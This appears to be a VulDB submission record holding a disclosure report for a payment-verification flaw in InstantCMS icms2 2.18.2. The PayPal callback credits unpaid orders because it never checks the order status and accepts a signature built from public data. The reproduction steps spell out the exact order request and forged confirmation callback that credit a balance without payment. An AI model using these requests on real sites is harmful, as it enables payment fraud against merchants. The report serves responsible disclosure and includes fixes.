| Titre | InstantCMS InstantCMS icms2 2.18.2 Insufficient Verification of Data Authenticity |
|---|
| Description | # Billing: PayPal "verification" credits an unbought order (missing order-status check + forgeable signature)
- **Project:** instantsoft/icms2 (InstantCMS, open-source GPLv3)
- **Affected version:** 2.18.2 (`3c7dd20e`) — billing module, PayPal payment system
- **Endpoint:** `system/controllers/billing/actions/paypal.php` — `action=check` callback
- **Auth required:** any logged-in user; CSRF/CSRF check absent on the callback
- **CWE-345:** Insufficient Verification of Data Authenticity (payment confirmation forged / unbought order credited)
- **Date confirmed:** 2026-08-29 (live PoC against a mock PayPal API, video + stills in this package)
## Summary
The billing module's PayPal flow credits a user's balance without ever confirming that the PayPal order was **paid**. Three stacked weaknesses:
1. **Signature from public data.** The per-operation "signature" is
```php
correct_sig = md5($order_id . ':' . $amount . ':' . $client_id);
```
(`system/fields/paypal.php:34`). The PayPal **`client_id` is inherently public** — the merchant ships it to the browser in the Smart Button SDK URL and it appears in the pay page. `order_id` is the sequential `billing_log.id`. Any user (or even a passive reader of the pay page) can recompute the sig. In practice the page hands it over pre-computed: `data-bid-sig="..."` on the render.
2. **No PayPal order-status check.** `validatePaypalOrder()` (`actions/paypal.php:96-122`) compares only `purchase_units[0].amount.value` against the expected sum. It **never checks `order.status`** (CREATED / APPROVED / COMPLETED / CAPTURED). An order the buyer never authorized or paid is accepted as "verified".
3. **`acceptPayment()` no-precondition credit.** `system/controllers/billing/model.php:170-192` flips the operation to DONE and adds the sum to the balance without any payment-status precondition, and the callback has no CSRF guard (AJAX flag + sig only).
Bonus: both outgoing PayPal API calls run with `CURLOPT_SSL_VERIFYPEER, false` (`actions/paypal.php:101,129`).
## Affected code
```php
// system/controllers/billing/actions/paypal.php:62-77
$order_id = trim($this->request->get('bid'));
$amount = ...; // expected sum for the operation
$client_id = $system['options']['client_id'];
$correct_sig = md5($order_id . ':' . $amount . ':' . $client_id);
if ($this->request->get('sig') !== $correct_sig) { ... error ... }
// :96-122 validatePaypalOrder(): GET /v2/checkout/orders/<pid>
// checks amount equality only; order status ignored
// :client side 'check' handler -> acceptPayment()
```
## Steps To Reproduce (verified transcript, live against a mock PayPal API)
Test rig: `cms_billing_systems` row `paypal` enabled with `payment_url = http://127.0.0.1:9002`; mock PayPal REST API with `POST /v1/oauth2/token/` → fake token, `GET /v2/checkout/orders/<id>` → `status=CREATED`, amount `500.00` USD — i.e., the **worst legitimate outcome: the buyer never pressed "Pay"**.
1. Merchant-side config in DB (`cms_billing_systems`):
```
client_id = PAYPAL-CLIENT-ID-PUBLIC-DEMO (public anyway — ships to the browser SDK)
secret = PAYPAL-SECRET-fake
payment_url = http://127.0.0.1:9002
```
2. Attacker requests a 500-unit top-up (open registration ⇒ attacker self-registers; deposit page is member-only):
```
POST /billing/order
csrf_token=<session token>&amount=500&system=paypal&submit=1
→ operation created (billing_log id=N, status 0/CREATED, summ 500.00)
```
The pay page already contains the "signature" the attacker needs to confirm payment:
```
data-amount="500.00" data-bid="<N>" data-bid-sig="<md5(N:500.00:PAYPAL-CLIENT-ID-PUBLIC-DEMO)>"
```
`md5("<N>:500.00:PAYPAL-CLIENT-ID-PUBLIC-DEMO")` reproduces the server's value exactly.
3. Attacker fires the payment-confirmation callback with a PayPal order **that was never paid**:
```
GET /billing/paypal?action=check&bid=<N>&pid=NOT-PAID-001&sig=<from step 2>
[X-Requested-With: XMLHttpRequest]
→ {"success":true,"error":false,"url":"/billing/success/paypal?order_id=<N>"}
```
4. Evidence (mock log + DB):
```
MOCK-PAYPAL: OAuth token issued (no real PayPal credentials used)
MOCK-PAYPAL: order NOT-PAID-001 status=CREATED amount=500.00 USD (NEVER PAID)
DB billing_log: id=<N> status 0 → 1 (DONE)
DB cms_users : user balance 0.00 → 500.00
```
Balance credited with **zero payments** and the PayPal order explicitly reported as `CREATED`.
## Impact
- Free balance credit / plan purchase without payment, repeatable per account (scriptable).
- If the billing module grants plans/access for real-money sums, this is a direct revenue/entitlement bypass; combined with the default self-registration it is attacker-unauthenticated in effect.
- Only exploitable when the PayPal payment system is *enabled* as a billing option (a normal production state; no real PayPal credentials are needed to abuse it).
## Severity assessment
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = **8.1 (High)**, gated on the PayPal system being enabled.
## Suggested Fix
- Before crediting, require `order.status === 'COMPLETED'` (or verify a successful capture: `purchase_units[0].payments.captures[0].status === 'COMPLETED'`) — never accept `CREATED`/`APPROVED` alone.
- Derive the confirmation from an opaque, server-side nonce stored with the operation — never from the public `client_id`.
- Add authentication (the operation must belong to the session user) and a CSRF token to the `check` callback; enforce idempotency in `acceptPayment()`.
- Drop `CURLOPT_SSL_VERIFYPEER=false` on the PayPal API calls. |
|---|
| Utilisateur | EVIL0RD (UID 100889) |
|---|
| Soumission | 31/08/2026 18:13 (il y a 1 mois) |
|---|
| Modérer | 10/10/2026 17:04 (1 month later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 416225 [InstantSoft icms2 jusqu’à 2.18.2 Billing paypal.php validatePaypalOrder bid/sig authentification faible] |
|---|
| Points | 17 |
|---|